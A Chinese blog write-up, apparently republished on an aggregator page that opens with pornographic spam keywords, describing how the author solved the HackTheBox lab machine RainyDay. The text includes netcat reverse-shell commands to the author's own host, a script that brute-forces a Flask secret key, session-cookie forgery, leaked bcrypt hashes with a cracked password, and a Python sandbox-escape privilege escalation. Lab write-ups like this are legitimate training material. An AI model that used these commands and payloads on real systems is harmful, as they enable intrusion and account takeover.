日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

HTB靶机:RainyDay

發(fā)布時(shí)間:2023/12/18 编程问答 37 豆豆
生活随笔 收集整理的這篇文章主要介紹了 HTB靶机:RainyDay 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

目錄

  • 介紹
  • 主機(jī)信息探測(cè)
  • 網(wǎng)站探測(cè)
    • 子域名爆破(BurpSuite)
    • 目錄爆破
    • 爆破參數(shù)值
    • 分析 & 破解hash
    • 登錄系統(tǒng)
  • 反彈shell
    • 端口轉(zhuǎn)發(fā)
    • 內(nèi)網(wǎng)穿透【很坑】
    • 配置socks代理
    • 內(nèi)網(wǎng)掃描
    • 換用windows做內(nèi)網(wǎng)滲透
    • 子域名信息收集
    • 爆破密鑰位置
    • 爆破密鑰內(nèi)容
    • JWT攻擊
    • 進(jìn)程監(jiān)控
    • Flag1 & 獲取SSH私鑰
  • 提權(quán)
    • python沙盒逃逸 & 提權(quán)為jack_adm
    • 破解hash
  • 參考

介紹

系統(tǒng):linux
難度:困難
發(fā)布日期:2022/10/16
靶機(jī)地址:https://www.hackthebox.com/machines/rainyday
其他信息:2022年10月24日靶場(chǎng)刪除了泄露的root的 SSH 密鑰,并更改了泄露的root密碼。個(gè)人打靶發(fā)現(xiàn)靶機(jī)還刪除了python,其他變化尚未發(fā)現(xiàn)。
補(bǔ)充:這臺(tái)靶機(jī)與Vulnhub靶機(jī)BOREDHACKERBLOG: SOCIAL NETWORK較為相似,只是利用起來更復(fù)雜很多。

主機(jī)信息探測(cè)

nmap -v -p- --min-rate 3000 -sV 10.10.11.184 nmap 10.10.11.184 -p22,80 -A

網(wǎng)站探測(cè)

開局就是一個(gè)訪問不到

配置了hosts之后可以訪問了,能夠看到我的賬號(hào)頁面,點(diǎn)開之后爆破無果,嘗試注冊(cè)賬號(hào)登錄失敗。

子域名爆破(BurpSuite)

面對(duì)需要綁hosts的靶機(jī),需要做子域名爆破,看看kali上有哪些字典

locate dns | grep "/usr/share" | grep ".txt"

這里演示一下如何使用BurpSuite做子域名爆破:

  • 下載kali中的相關(guān)字典
  • 設(shè)置payload
  • 開始爆破,忽略警告
  • 分析爆破結(jié)果
  • 爆破結(jié)果中基本都是302跳轉(zhuǎn)到 http://rainycloud.htb,唯獨(dú)一個(gè)爆破結(jié)果是403,簡(jiǎn)單測(cè)試后無法ByPass403,先綁定到hosts中吧,看后面是否會(huì)用得到。

    目錄爆破

    dirsearch -u http://rainycloud.htb/ --full-url -R 2 -x 404 --exclude-sizes=0B

    看到了一個(gè)有點(diǎn)意思的頁面,但是嘗試輸入一個(gè)id后并沒有出現(xiàn)什么有價(jià)值的信息,碰到這種情況也許是id的格式不對(duì),不妨通過bp爆破一把梭。

    爆破參數(shù)值

    嘗試使用不同的參數(shù)格式,如1、1.0、1-1,如何設(shè)置這種格式呢?如下:

  • 設(shè)置爆破點(diǎn)
  • 設(shè)置payload
  • 結(jié)果發(fā)現(xiàn)編碼導(dǎo)致了404錯(cuò)誤

    取消勾選即可

    然后就發(fā)現(xiàn)了id參數(shù)的設(shè)置格式

    得到了如下信息:

    "id":2, "password":"$2a$05$FESATmlY4G7zlxoXBKLxA.kYpZx8rLXb2lMjz3SInN4vbkK82na5W", "username":"root""id":1, "password":"$2a$10$bit.DrTClexd4.wVpTQYb.FpxdGFNPdsVX8fjFYknhDwSxNJh.O.O", "username":"jack""id":3, "password":"$2b$12$WTik5.ucdomZhgsX6U/.meSgr14LcpWXsCA0KxldEw8kksUtDuAuG", "username":"gary"

    分析 & 破解hash

    來到網(wǎng)站:https://www.cmd5.com/,一個(gè)都沒有破解出來。來到hashcat網(wǎng)站看看:
    打開 hashcat 點(diǎn)擊 Wiki

    點(diǎn)開exam,發(fā)現(xiàn) Hash-Mode 3200的類型符合爆破得到的hash樣子

    開始爆破:hashcat.exe -m 3200 C:\Users\asuka\Desktop\1.txt D:\字典\rockyou.txt
    很快就爆破出來,id為3的用戶gary的密碼是:rubberducky

    登錄系統(tǒng)

    登錄之后如下,看樣子可以創(chuàng)建一個(gè)docker容器并執(zhí)行命令

    下拉框有2個(gè)選擇,測(cè)試發(fā)現(xiàn)第1個(gè)不行,點(diǎn)擊之后沒有有價(jià)值的反應(yīng)。這里選擇下拉框的第2個(gè)

    經(jīng)過多次嘗試,發(fā)現(xiàn)通過如下2種格式可以成功執(zhí)行命令,下面測(cè)試發(fā)現(xiàn)第一種執(zhí)行方式有點(diǎn)問題,需要換成第二種才行。

    反彈shell

    檢查發(fā)現(xiàn)靶機(jī)存在nc,并且支持-e參數(shù)。但是反彈shell時(shí)候除了一些幺蛾子。

  • 使用常見命令:nc -e /bin/bash 10.10.14.9 6666反彈失敗,檢查發(fā)現(xiàn)靶機(jī)沒有bash
  • 使用常見命令:nc -e /bin/sh 10.10.14.9 6666反彈失敗,檢查發(fā)現(xiàn)靶機(jī)有sh
  • 使用命令:nc 10.10.14.9 6666 -e /bin/sh反彈成功后立即斷開連接,也許需要后臺(tái)運(yùn)行
  • 使用命令:nc 10.10.14.9 6666 -e /bin/sh &反彈成功后立即斷開連接
  • 難不成,要換成另一種命令執(zhí)行的格式?果然,換成另一種格式好了。

    現(xiàn)在已經(jīng)可以反彈shell了,于是就出現(xiàn)了一個(gè)問題。
    我是使用物理機(jī)win11通過openVPN直接連接的靶機(jī),我該如何讓我的NAT模式虛擬機(jī)kali拿到shell呢?可以通過端口轉(zhuǎn)發(fā)來解決。

    端口轉(zhuǎn)發(fā)

    netsh是windows系統(tǒng)自帶的一個(gè)命令行工具,這個(gè)工具可以內(nèi)置端口轉(zhuǎn)發(fā)功能。由于物理機(jī)都是有防火墻的,因此使用端口轉(zhuǎn)發(fā)前需要先在本地測(cè)試一下能不能實(shí)現(xiàn)端口轉(zhuǎn)發(fā)。

  • 開啟端口轉(zhuǎn)發(fā)。
  • 以管理員身份運(yùn)行cmd,執(zhí)行如下命令,一旦有人訪問了物理機(jī)的4444端口,就轉(zhuǎn)發(fā)給kali的4444端口。

    添加端口轉(zhuǎn)發(fā)的命令 netsh interface portproxy add v4tov4 listenport=4444 connectaddress=192.168.229.128 connectport=4444查看端口轉(zhuǎn)發(fā)的記錄表 netsh interface portproxy show all清除指定規(guī)則 netsh interface portproxy delete v4tov4 listenport=4444清除所有規(guī)則 netsh interface portproxy reset

  • 測(cè)試端口可用性
  • 如下圖,連接openVPN后,物理機(jī)得到一個(gè)IP:10.10.14.9,然后kali在4444端口開啟一個(gè)web服務(wù)。物理機(jī)訪問本地的4444端口果然看到了kali的web服務(wù)。說明端口轉(zhuǎn)發(fā)沒問題。

  • 如果端口訪問有問題,需要通過如下方式設(shè)置一下防火墻
  • 開始端口轉(zhuǎn)發(fā)
  • **測(cè)試發(fā)現(xiàn),如果只是用于本地虛擬機(jī)和物理機(jī)之間的端口轉(zhuǎn)發(fā),可以不設(shè)置防火墻,像這種HTB靶機(jī)的話,需要設(shè)置防火墻才可以。**我這里新建了如下規(guī)則,允許3個(gè)端口可以做轉(zhuǎn)發(fā)。

    然后bp發(fā)送數(shù)據(jù)包,kali獲取到shell

    發(fā)現(xiàn)靶機(jī)上不存在python,因此只能通過sh獲取一個(gè)簡(jiǎn)陋的交互環(huán)境,由于靶機(jī)一開始就說了自己是個(gè)docker環(huán)境,并且我們發(fā)現(xiàn)看到的IP和靶機(jī)IP不同,基本確認(rèn)身處docker環(huán)境中。

    簡(jiǎn)單的看了下內(nèi)網(wǎng),沒法做主機(jī)發(fā)現(xiàn),從arp中發(fā)現(xiàn)了一個(gè)主機(jī),還是內(nèi)網(wǎng)穿透吧,穿透之后再做內(nèi)網(wǎng)。

    內(nèi)網(wǎng)穿透【很坑】

    這里忘了寫工具是怎么投遞的了,下文“內(nèi)網(wǎng)掃描”中會(huì)補(bǔ)寫

    這里嘗試了很多款內(nèi)網(wǎng)穿透工具,甚至關(guān)閉了物理機(jī)的防火墻,始終無法讓kali與靶機(jī)之間建立隧道。最終放棄。第二天,也就是現(xiàn)在,重新捋了一遍思路:
    首先恢復(fù)防火墻,重新做一遍端口轉(zhuǎn)發(fā)

  • 有兩處位置可以執(zhí)行命令,一處是前臺(tái)(可以回顯結(jié)果),一處是后臺(tái)(不能回顯結(jié)果)
  • 昨天針對(duì)前臺(tái)把各種方式試了一個(gè)遍,最終發(fā)現(xiàn)前臺(tái)只能回顯命令,無法做內(nèi)網(wǎng)穿透
  • 今天嘗試使用后臺(tái)執(zhí)行命令
    • show顯示網(wǎng)絡(luò)拓?fù)?/li>

    A表示admin節(jié)點(diǎn),數(shù)字表示agent節(jié)點(diǎn)。下面的拓?fù)鋱D表示,admin節(jié)點(diǎn)下連接了1節(jié)點(diǎn)

    • goto操作某節(jié)點(diǎn)
    • socks建立到某節(jié)點(diǎn)的socks5代理

    執(zhí)行成功socks命令之后,會(huì)在admin節(jié)點(diǎn)本地開啟一個(gè)端口,如下圖中通過1080端口即可進(jìn)行socks5代理

    配置socks代理

    配置proxychains4.conf(較新版本的kali已經(jīng)沒有proxychains.conf了,取而代之的是proxychains4.conf)

    ls -lh /etc | grep proxy vim /etc/proxychains4.conf tail -5 /etc/proxychains4.conf

    內(nèi)網(wǎng)掃描

    懶得一個(gè)一個(gè)掃了,直接fsan一把梭

  • kali開啟web服務(wù):python -m http.server 6666
  • 靶機(jī)下載:wget http://10.10.14.9:6666/fscan_amd64
  • 由于已經(jīng)做了端口轉(zhuǎn)發(fā),因此訪問物理機(jī)的6666端口,就會(huì)訪問到kali6666端口的web服務(wù)。結(jié)果尷尬了,fscan掃不動(dòng),沒結(jié)果。

    那就只能老實(shí)的通過socks代理掃描了,在做“端口轉(zhuǎn)發(fā)”的時(shí)候,通過arp得知docker網(wǎng)絡(luò)中有個(gè)IP是172.18.0.1,猜測(cè)這個(gè)應(yīng)該是宿主機(jī)的IP,先掃一波。這種掃描掃描的端口多,很費(fèi)時(shí)間,目前能看到22、80端口,以及一個(gè)49153端口,不知道是什么鬼。想要一探究竟,還是得瀏覽器掛代理訪問一下。

    proxychains4 nmap -Pn -sT 172.18.0.1

    從目前得到的來看,不出意外的話,應(yīng)該是通過socks代理訪問之前發(fā)現(xiàn)的子域名,通過它來實(shí)現(xiàn)docker逃逸,但是kali里面的字體比較小,截圖不好看,并且不知道什么原因,kali里面的瀏覽器無法完整的渲染子域名,因此下面我直接使用自己的物理機(jī)來做內(nèi)網(wǎng)滲透,部分情況下可能會(huì)使用虛擬機(jī)來做。

    換用windows做內(nèi)網(wǎng)滲透

  • 開啟隧道
  • BurpSuite設(shè)置socks5代理訪問內(nèi)網(wǎng)成功
  • 子域名信息收集

    登錄了之前爆破出來的子域名,這個(gè)時(shí)候再來看一下之前目錄爆破的結(jié)果,竟然有了新的發(fā)現(xiàn),這個(gè)時(shí)候注意到cookie是JWT格式的,但是請(qǐng)求包上面沒有JWT按鈕,看起來“JWT Editor Keys”插件不能正常編輯這個(gè)JWT數(shù)據(jù),丟到 jwt.io 看一眼,發(fā)現(xiàn)這個(gè)JWT是簽名無效。
    那么,接下來怎么搞?沒辦法,翻看了下攻略,只能說,攻略也是晦澀的。能看出來大概意思是通過/api/healthcheck頁面找到密鑰來篡改JWT。那么,怎么找密鑰?

    攻略的操作很神奇,如下所示,可以看到:

  • 變更請(qǐng)求方法為POST
  • 把/etc/passwd的檢查和過濾規(guī)則抄了過來,來檢查文件中是否包含某內(nèi)容
  • 如果包含,返回結(jié)果為true
  • 如果不包含,返回結(jié)果為false
  • 攻略十分自信密鑰中會(huì)包含SECRET_KEY,并且密鑰存在于/var/www/rainycloud路徑下。對(duì)于這種開掛行為,暫且看他就算開掛又是怎么打穿靶場(chǎng)的吧。

    爆破密鑰位置

  • 設(shè)置payload
  • 字典選用:SecLists-2022.2\Discovery\Web-Content\common.txt,然后取消URL編碼
  • 開始爆破
  • 最終在“/var/www/rainycloud/secrets.py”中發(fā)現(xiàn)了密鑰位置,爆破結(jié)果為true

    POST /api/healthcheck HTTP/1.1 Host: dev.rainycloud.htb Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: session=eyJ1c2VybmFtZSI6ImdhcnkifQ.Y4G3sA.DfpGzMmf7s6XdCNpHG5vD-PWDTw Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 70file=/var/www/rainycloud/secrets.py&type=CUSTOM&pattern=^SECRET_KEY.*'

    爆破密鑰內(nèi)容

    需要布爾爆破密鑰內(nèi)容,相關(guān)的腳本攻略里提供了。但是在此之前我們需要驗(yàn)證自己能否連接上靶場(chǎng)。
    通過bp插件“Copy As Python-Requests”很方便得到了一段python代碼,略微修改一下:

    發(fā)現(xiàn)需要給python掛上代理,我這里圖省事就不掛socks代理了,直接把python掛到bp上,發(fā)現(xiàn)代碼能夠正常跑起來,那就開始改造攻略里的腳本

    改造后的腳本如下:

    import string import requests import jsonallchars = string.printable cookies = {'session': 'eyJ1c2VybmFtZSI6ImdhcnkifQ.Y4G3sA.DfpGzMmf7s6XdCNpHG5vD-PWDTw'} # 填寫自己的cookie信息 proxy = {"http": "http://127.0.0.1:8089"} # bp 監(jiān)聽端口臨時(shí)改成了8089s = requests.Session() pattern = ""while True:for c in allchars:try:rsp = s.post('http://dev.rainycloud.htb/api/healthcheck', {'file': '/var/www/rainycloud/secrets.py','type': 'custom','pattern': "^SECRET_KEY = '" + pattern + c + ".*"}, cookies=cookies, proxies=proxy)if json.loads(rsp.content)['result']:pattern += cprint('[√]:'+str(pattern))breakelse:print('[×]:'+str(c))except Exception:print(rsp.content)

    開始爆破,結(jié)果爆破一段時(shí)間后報(bào)錯(cuò)了,一檢查竟然是隧道斷開了。重新爆破,結(jié)果又是到這個(gè)爆破結(jié)果的時(shí)候斷開了,看來是靶場(chǎng)自身的問題,只能把獲取到的部分密鑰值填入到腳本中,讓腳本在爆破了。

    拼接之后重新爆破,發(fā)現(xiàn)爆破出某段內(nèi)容之后,再無新的爆破結(jié)果了,說明已經(jīng)爆破完畢。

    最終得到密鑰:略(靶場(chǎng)在役,暫不公開)

    JWT攻擊

    拿著密鑰來到 https://jwt.io 發(fā)現(xiàn)根本沒法篡改身份,那怎么辦?
    根據(jù)攻略,可以使用工具flask-session-cookie-manager 來做越權(quán)。已知的JWT攻擊方式在BurpSuite網(wǎng)絡(luò)安全學(xué)院里面都記錄的有,靶場(chǎng)里的這種攻擊方式我是第一次碰到。

    當(dāng)初網(wǎng)站探測(cè)的時(shí)候知道靶場(chǎng)上有三個(gè)用戶:root、jack、gary
    嘗試越權(quán)root用戶

    git clone https://github.com/noraj/flask-session-cookie-manager.git cd flask-session-cookie-manager ls python ./flask_session_cookie_manager3.py encode -s 密鑰 -t "{'username': 'root'}"

    得到cookie值:eyJ1c2VybmFtZSI6InJvb3QifQ.Y4H99A.ipx-A7fgdksnTVNLj9so7YLRWO0
    篡改瀏覽器的cookie,刷新之后發(fā)現(xiàn)啥也沒有,合著這個(gè)root賬戶沒有用。

    嘗試越權(quán)jack用戶
    得到cookie值:略

    于是,又是命令執(zhí)行得到了一個(gè)shell,看起來是docker網(wǎng)絡(luò)里的另一臺(tái)機(jī)器

    那么,接下來怎么辦呢?完全沒有方向了。查看攻略發(fā)現(xiàn)了pspy

    進(jìn)程監(jiān)控

    工具pspy在之前的靶機(jī)CEREAL: 1中介紹過,它讓我們可以在沒有特權(quán)的情況下看到linux系統(tǒng)上的所有進(jìn)程。到這種時(shí)候了,能想到這個(gè)工具,還能打穿靶機(jī),我不知道該說什么了,它不像web滲透是尋著線索打,現(xiàn)在的打法很亂。甚至可以稱之為玄學(xué),因此下面不再追究思路的合理性了。
    pspy64投遞到靶機(jī)上面,后臺(tái)運(yùn)行,看到了一個(gè)關(guān)于休眠的進(jìn)程。

    進(jìn)入這個(gè)休眠進(jìn)程中,發(fā)現(xiàn)了一個(gè)有意思的目錄:

    cd /proc/1120 ls -al

    然后就發(fā)現(xiàn),通過cd root進(jìn)入到了靶機(jī)里面了。

    Flag1 & 獲取SSH私鑰

    得到了一個(gè)flag:略

    然后獲取SSH私鑰,但是物理機(jī)沒能使用私鑰登錄靶場(chǎng)

    私鑰丟到kali上面,連接靶場(chǎng)失敗。

    這個(gè)時(shí)候有2個(gè)辦法:

  • 換用kali使用nc接受文件,或者靶機(jī)開個(gè)web服務(wù),讓kali下載下來
  • 復(fù)制私鑰明文,粘貼到kali中。在之前的靶機(jī)中這樣干過,可行。
  • 我這里選擇第2中辦法,比較便捷:
    首先讀取到ssh私鑰內(nèi)容

    粘貼私鑰到kali中,成功登上靶機(jī)

    vim id_rsa chmod 400 ./id_rsa ssh jack@10.10.11.184 -i ./id_rsa

    提權(quán)

    用戶jack似乎可以提權(quán)為jack_adm,但是不知道該怎么提權(quán)。

    python沙盒逃逸 & 提權(quán)為jack_adm

    我本想扔一個(gè)提權(quán)腳本,意外發(fā)現(xiàn)靶機(jī)的/tmp目錄下有個(gè)名為aa的文件,文件內(nèi)容閱讀不懂,通過攻略中的參考文檔得知這是python沙河逃逸,我對(duì)這塊并不了解,因此直接使用攻略中的利用代碼完成提權(quán)。

    echo 'print(().__class__.__mro__[1].__subclasses__()[144].__init__.__globals__["__builtins__"]["__loader__"]().load_module("builtins").__import__("os").system("bash -i"))' > /tmp/test && sudo -u jack_adm /usr/bin/safe_python /tmp/test

    破解hash

    看起來,jack_adm賬戶可以通過sudo提權(quán),但是這個(gè)提權(quán)涉及到了hash,再次涉及到知識(shí)盲區(qū)。攻略中提到的把密碼設(shè)為空得到hash值,然后跑出鹽值的方法已經(jīng)失效,具體該怎么整沒啥思路。只能放棄了。

    參考

    https://meowmeowattack.wordpress.com/2022/10/18/hackthebox-htb-writeup-rainyday/(文中提到的攻略)

    總結(jié)

    以上是生活随笔為你收集整理的HTB靶机:RainyDay的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。